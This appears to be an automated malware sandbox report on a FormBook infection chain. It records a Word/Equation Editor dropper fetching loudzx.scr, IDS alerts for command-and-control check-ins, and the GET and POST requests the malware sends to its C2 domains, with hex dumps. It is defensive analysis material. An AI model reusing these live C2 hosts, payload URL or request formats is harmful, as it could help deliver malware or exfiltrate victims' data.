Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 104.21.74.191:443

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49165 -> 66.96.161.166:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49175 -> 194.9.94.86:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49179 -> 91.195.240.19:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.22:49183 -> 198.12.241.35:80

Performs DNS queries to domains with low reputation

Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	DNS query: www.99b6q.xyz
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	DNS query: www.99b6q.xyz
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	DNS query: www.99b6q.xyz
Source: C:\Program Files (x86)\hNYCAdXMNkWAImSJFAjXwpJUwycZfdWaCUBeflWikODcqwseQLOqHJVNjXXgRfFzWIkdXsePqDEVV\sQNFFcxirzZbXqUULewCRS.exe	DNS query: www.99b6q.xyz

Source: Joe Sandbox View	IP Address: 194.9.94.86 194.9.94.86
Source: Joe Sandbox View	IP Address: 45.33.6.223 45.33.6.223

Source: Joe Sandbox View	ASN Name: LOOPIASE LOOPIASE
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: AS-26496-GO-DADDY-COM-LLCUS AS-26496-GO-DADDY-COM-LLCUS

Source: Joe Sandbox View

JA3 fingerprint: 6b0dc43f177fcd6d2946d55121243d1b

Source: unknown

HTTPS traffic detected: 104.21.74.191:443 -> 192.168.2.22:49164 version: TLS 1.0

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKConnection: keep-aliveDate: Mon, 20 May 2024 06:54:30 GMTLast-Modified: Thu, 18 Jan 2018 20:17:17 GMTCache-Control: max-age=120ETag: "m5a6100cds6cee7"Content-type: application/zip; charset=utf-8Content-length: 446183Data Raw: 50 4b 03 04 14 00 00 00 08 00 86 13 59 4b 18 14 41 7f d2 04 00 00 eb 13 00 00 0b 00 1c 00 73 71 6c 69 74 65 33 2e 64 65 66 55 54 09 00 03 4c 94 ef 59 4c 94 ef 59 75 78 0b 00 01 04 e8 03 00 00 04 64 00 00 00 85 98 cd 92 dc 28 0c 80 ef 79 9b 64 b6 a6 f6 05 72 de 54 76 0f 7b 73 61 2c bb a9 c1 e0 f0 d3 3d 33 4f bf e2 a7 1b 09 dc d9 d3 8c 3e 19 10 42 12 a2 bf ff fb e3 af 9f ff fc fd c5 ff d2 2a c0 cb 24 b6 cd c1 26 02 4c d2 9a 00 ef e1 54 13 0d e1 31 d8 09 3f 04 e3 95 35 0f 3c 0b f9 16 8f 69 55 46 f9 4b 4f 11 86 9e 1d 62 03 3e 73 55 38 d8 05 0e 30 5b af f0 01 8e c6 94 59 a6 59 db 79 24 af 7f 70 b6 d8 38 6b e0 4c d1 75 2b e8 c7 99 a8 35 27 87 70 62 87 00 ae f3 49 a7 44 09 de 9f 29 0d fe ed 74 16 17 07 c7 21 3b 8b 07 f9 fa 3a b2 de ec ab d0 b1 5b e1 13 9c 1d 7d 75 a7 74 02 14 a7 f9 23 80 e7 48 6a eb 81 23 7b 80 e1 c4 81 58 7a 32 7e 75 73 f8 7f 43 d1 7f 4c 17 61 16 4d 1d 90 60 50 3b d8 d8 7c 20 85 91 a0 9f 85 9f c4 39 36 62 b5 d4 20 5c de 26 06 12 c5 74 1f 59 9a ae df 1a b0 5a 8b 80 f3 4e 06 60 81 e5 a9 82 9c 03 aa e2 6e 78 28 de 19 73 24 85 e3 78 1e 50 15 2e 22 88 59 a0 8d 2c 68 ce 94 e3 84 0b 48 1d 3e 8e 71 58 e5 27 23 78 9e 54 aa 46 b3 78 ae 54 78 66 e2 b9 65 d6 a9 4d 9d 0f 20 aa 71 1c 6e 57 9f bb a2 69 4e 46 d1 44 22 ec e4 cb 13 6f f1 64 92 76 df 55 98 2e d6 be 51 76 28 8d 81 9e c3 63 83 f0 44 13 3d 8b a7 fd d0 10 60 00 cc 2a b3 aa 8d 8a c9 ec 69 99 6b be 34 0d 26 5e 2e d3 35 46 9f 2a e8 e4 9d 8a 65 41 d1 ad d1 c8 b3 e9 ee 7c 9c ed ae 39 99 6c b7 4b 1c 4d 2e 94 7e 9e 82 ba cb 05 dc b0 14 f2 02 ab 8e e4 66 49 94 3b 08 c9 8a ee 66 f1 31 3a 0b c9 1e 03 29 cf 4b 29 5c d6 e8 0f ce b0 82 60 72 ed b0 5b c7 34 3e 88 10 5b 5a a7 7c 12 0e 37 81 41 f8 80 68 45 8a 48 6d c5 72 52 ac aa d6 5f 70 dc 52 36 d7 74 ce 49 bb 30 79 f7 5b 27 12 d7 23 f0 a1 95 4e 78 07 49 84 03 37 8f 4b 20 a0 50 39 12 8a d9 bc f4 d1 b0 f2 5d e1 c0 47 1d a6 a4 6c db 4e ae ce 31 e9 ac 26 d0 08 ad 3e db 1c ab 03 2e 94 54 7d 20 4c 97 5c d1 4b 62 75 f8 3d 05 03 63 dd 60 2c b9 42 a3 79 d2 5e c9 ed 91 9a 0d c5 cd c8 f7 ab 8b 47 5b 41 0b 1f 10 7b 70 61 72 f6 a6 9a 3f b4 9a 71 36 76 5e 0d 61 4f b0 cf 64 2d ad a8 d9 4f 8e 5b db 76 7e bb d0 da ca 4e 24 c5 b4 84 db 24 30 a4 f6 1e 5e d4 76 b9 09 da 29 54 05 2b 2d fb e1 70 bb 6b 93 3d f5 44 8e fd a9 33 22 33 60 3d 48 61 ec f8 0a c2 ac b8 f6 2c 90 04 31 a9 46 f9 b0 37 af b0 16 20 09 24 7a 93 48 d3 df 7a b4 63 a1 22 6b 1d d3 39 67 27 0f b5 e9 70 80 2d 16 f4 32 59 ea 41 e8 7a 04 be f4 f0 e4 3b fe 95 4d 39 40 65 6c 98 bd 1f ba 19 87 b2 dd 0d aa 1a 02 7e 02 55 26 71 f0 a4 fc e0 02 e4 82 c9 d2 b3 8e a8 66 2d eb 4b 08 63 6b 65 da 5d ff 95 62 de 58 77 0a 89 6f 29 9e 58 11 61 1a 63 71 3b e7 aa 60 ed 4c 6a 79 d5 d1 de a3 a1 d1 74 d6 a9 57 d6 77 d5 15 fb 38 b3 7b be 62 d6 25 10 36 6e b2 d0 f9 74 86 af af a3 03 b

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{48E7344B-2A3F-40E3-AC6B-5E4E921F9721}.tmp

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /loudzx.scr HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: universalmovies.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ufuh/?84O0=YGhnx96XAVFPN8tw+HM+ERdVPj6qvRaWteKDUnkDVIOF49Ku923zFB1LHsiTDOOJR3oxDyM0OU58BlZHZbBCNvk4uEj8jDacBIFePGWcdtykoT8enibuKQ6eq0+l&-Hc=N8_LbDFHuLL4ejZ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.terelprime.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /2021/sqlite-dll-win32-x86-3340000.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36Host: www.sqlite.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /2017/sqlite-dll-win32-x86-3210000.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36Host: www.sqlite.orgConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ufuh/?84O0=f+AHiK2Co9o+PjKa95eLWuYGzAnlJ1JKF0U6Lu5lfhAIXWifWEmzyo1tk2ryUUFbnpUI1yrkhJgLANJ0QoKTotmHPxBrzP8E8/tDVQZOz/lyKkl1Bs+TKl0SxUzf&-Hc=N8_LbDFHuLL4ejZ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.kinkynerdspro.blogUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=JCl8GzBEdF4l5nIyfkeq0ia6oie6u6lAQeoh+x3kN0jP8DE3DVbhST9RD9xIYa+bXtx9nrjGgO+XENgp6DrguLhYbN7qtNMSCWk+pZJhu575eHJRgqTZAIE4NheL HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.xn--matfrmn-jxa4m.seUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?84O0=uB/KNrYRIAEuVxS2CaQ/STQ79sXR+BlQlR67HQQqBOVPNI2QjXmfUVSCEalfoT0oEVOLH05GPMXaAce1CehAlwJBdX/jzmgGgvdHGe2cEEX0VUceLY//9BYN6rMd&-Hc=N8_LbDFHuLL4ejZ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.primeplay88.orgUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Source: global traffic	HTTP traffic detected: GET /ufuh/?-Hc=N8_LbDFHuLL4ejZ&84O0=rAUFcaE3iKkr5p3m3tCLoIcgJcoBLqHpCHmto+mEvmfk+N6Cgt65oFJJSbTgZ9R+lJhnJt4KhMELuPRI2YfMmSiqMqXmclfFfZpNLn5Guu+tn093ffeUIUJTcA0L HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8Accept-Language: en-US,en;q=0.5Connection: closeHost: www.aceautocorp.comUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36

Source: EQNEDT32.EXE, 00000002.00000002.359979447.00000000006B5000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: universalmovies.top
Source: global traffic	DNS traffic detected: DNS query: www.besthomeincome24.com
Source: global traffic	DNS traffic detected: DNS query: www.terelprime.com
Source: global traffic	DNS traffic detected: DNS query: www.sqlite.org
Source: global traffic	DNS traffic detected: DNS query: www.99b6q.xyz
Source: global traffic	DNS traffic detected: DNS query: www.kinkynerdspro.blog
Source: global traffic	DNS traffic detected: DNS query: www.xn--matfrmn-jxa4m.se
Source: global traffic	DNS traffic detected: DNS query: www.primeplay88.org
Source: global traffic	DNS traffic detected: DNS query: www.aceautocorp.com

Source: unknown

HTTP traffic detected: POST /ufuh/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate, brContent-Length: 2161Cache-Control: no-cacheConnection: closeContent-Type: application/x-www-form-urlencodedHost: www.kinkynerdspro.blogOrigin: http://www.kinkynerdspro.blogReferer: http://www.kinkynerdspro.blog/ufuh/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36Data Raw: 38 34 4f 30 3d 53 38 6f 6e 68 39 36 57 74 75 52 2f 45 32 71 62 32 65 4c 53 47 74 5a 47 78 57 6e 4b 49 33 78 68 48 77 41 32 4b 4e 45 67 65 67 34 59 49 54 43 56 57 45 79 7a 75 4c 39 47 75 77 37 69 54 6e 77 56 72 2f 78 59 6b 6c 6d 54 6f 62 67 6e 4b 59 70 51 57 61 57 67 39 76 57 63 4f 51 68 57 38 5a 67 55 73 4f 52 72 58 69 39 39 38 2b 56 70 63 78 63 6e 4d 4f 71 52 62 32 31 41 31 41 69 7a 5a 69 4f 53 43 35 30 52 44 54 57 41 67 6d 44 6b 46 49 39 76 58 4c 39 50 56 2f 41 79 4d 64 57 63 30 75 42 64 2f 4a 50 70 32 47 56 75 6b 62 43 6b 32 68 6f 67 75 6d 33 70 51 42 4c 62 4d 66 43 46 62 6b 77 4c 4f 36 69 4b 6f 46 4a 53 70 65 64 37 4a 72 73 58 67 4c 6c 61 57 4d 6d 47 66 53 4e 2b 4c 36 7a 63 78 37 58 33 39 35 55 6b 46 53 2b 69 41 4f 6d 44 58 62 33 6b 66 30 62 56 71 32 51 49 59 6e 57 4b 76 74 57 48 45 48 76 51 39 73 43 52 77 78 66 68 6a 4b 4d 6c 7a 6f 48 5a 47 75 66 78 39 50 58 52 36 78 71 44 39 56 6f 72 51 43 4d 35 52 78 31 71 4d 73 73 4f 61 51 6e 43 6b 67 63 4b 70 43 6f 73 69 69 54 69 44 69 33 76 5a 43 4f 70 39 41 30 6d 66 79 71 57 75 58 71 65 4d 79 75 4f 48 64 39 61 46 4c 51 59 46 71 30 5a 66 4e 69 50 68 5a 44 56 61 62 4c 39 6f 31 6b 36 53 79 34 52 53 68 65 30 61 4f 71 57 59 4e 73 58 49 41 78 56 73 56 4a 35 6a 51 69 64 63 49 77 77 39 4b 30 75 59 49 36 6e 62 72 2f 51 52 58 46 52 53 33 31 4f 6e 39 61 35 39 45 52 70 34 78 44 42 66 6e 57 35 67 4c 48 53 6b 6b 56 7a 38 6b 36 55 46 65 42 68 70 6f 2f 36 74 48 7a 6c 76 38 62 48 54 61 5a 36 6b 6b 58 46 63 52 6e 7a 79 6a 63 59 51 53 32 43 71 31 45 55 42 50 78 37 56 46 67 71 6a 6e 6d 56 4e 74 37 50 76 4f 67 78 61 75 71 51 45 2f 73 6f 46 51 46 54 30 4d 5a 6d 69 71 5a 4a 63 6a 30 39 39 62 58 4b 2b 73 4c 79 45 76 52 41 52 62 48 6e 61 61 69 55 66 62 63 53 51 69 49 61 50 31 6d 58 2f 48 42 63 64 6e 43 47 43 39 54 33 6f 65 4a 61 45 73 2f 6a 63 6d 4d 74 6f 53 66 39 45 7a 7a 42 32 53 42 37 57 44 67 6c 62 47 33 68 36 43 4c 77 35 4c 75 43 5a 53 6a 57 34 72 65 69 75 4c 47 43 57 42 74 6f 53 33 41 6e 6a 48 36 41 77 72 66 4f 57 55 2f 4b 55 61 37 5a 6d 6a 32 63 71 38 57 31 6b 4e 78 59 7a 66 59 32 69 51 50 70 65 4d 31 6e 72 49 44 34 6b 70 49 31 33 30 38 2f 2b 50 73 42 4f 64 58 7a 4d 78 70 45 4c 4f 6d 74 74 6d 78 4e 66 6a 4d 4b 63 43 7a 6a 6a 64 72 44 61 64 51 4c 58 33 38 79 6f 49 45 74 47 6a 66 6c 4b 4e 39 74 45 7a 41 54 45 37 37 41 45 48 73 37 71 50 36 61 65 39 69 69 42 33 70 63 66 77 43 52 36 31 74 51 6d 67 51 6f 70 63 68 2b 56 72 56 4e 76 49 6e 39 50 59 6d 71 68 45 66 6e 58 75 2f 73 46 52 57 31 2

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 May 2024 06:54:20 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeDate: Mon, 20 May 2024 06:54:29 GMTContent-type: text/html; charset=utf-8Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 20 6c 69 6e 65 6e 6f 3d 22 33 38 30 22 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 44 6f 63 75 6d 65 6e 74 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 2f 32 30 32 31 2f 73 71 6c 69 74 65 2d 64 6c 6c 2d 77 69 6e 33 32 2d 78 38 36 2d 33 33 34 30 30 30 30 2e 7a 69 70 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 0a 3c 2f 62 6f 64 79 3e 0a Data Ascii: <head><title lineno="380">Not Found</title></head><body><h1>Document Not Found</h1>The document /2021/sqlite-dll-win32-x86-3340000.zip is not available on this server</body>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbiddencontent-length: 93cache-control: no-cachecontent-type: text/htmlconnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 52 65 71 75 65 73 74 20 66 6f 72 62 69 64 64 65 6e 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 20 72 75 6c 65 73 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>403 Forbidden</h1>Request forbidden by administrative rules.</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 20 May 2024 06:55:43 GMTServer: ApacheX-Powered-By: PHP/8.1.28Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <http://aceautocorp.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingContent-Encoding: brContent-Length: 9730Content-Type: text/html; charset=UTF-8Data Raw: 13 53 cb 14 91 9a f4 43 40 45 60 dc c4 c7 3a cf f7 9f a9 da 9f a5 cb e9 19 9e 48 84 03 40 00 58 5a a8 14 67 8b 7f 69 4e 7e b3 3d 1e 88 04 25 6e 28 82 03 40 c5 cb e5 5f b6 ea f3 bc a5 63 32 81 24 59 32 81 97 2c 39 06 a2 b9 7a 90 79 aa ea 9e 8e a8 9e d9 d1 70 a8 17 4e 31 24 c5 e2 1d 67 be 84 aa ae ae ee e1 fb fb 91 c1 33 84 e8 38 72 ec 19 61 0b d8 70 64 b8 64 58 86 6c 3d 86 6a b2 fd b4 fb 06 11 51 14 51 93 76 db 70 79 99 58 f7 de 86 10 ac 25 02 13 93 a1 9a c9 d8 e4 97 03 27 30 58 c8 54 32 df 5a 8c b9 bd 10 f9 21 22 92 70 57 3d 45 37 cf 39 e5 74 4c 81 19 a8 3e 4a c0 e0 76 c9 35 60 d2 59 2b a4 87 09 0e f6 69 16 b9 6c 1f ae 50 b2 ab bd c4 70 95 53 0a 88 16 3a 07 45 5b 15 ee 10 81 d8 52 ea 36 2b 81 cb 7c 4a d7 a9 3f ec d6 2f 07 d6 47 75 3d 07 c6 20 1d 63 99 16 f1 4c d7 9e 29 be c0 be 19 18 8c 07 76 25 90 77 ef 5d 88 12 3e d7 1a 3e 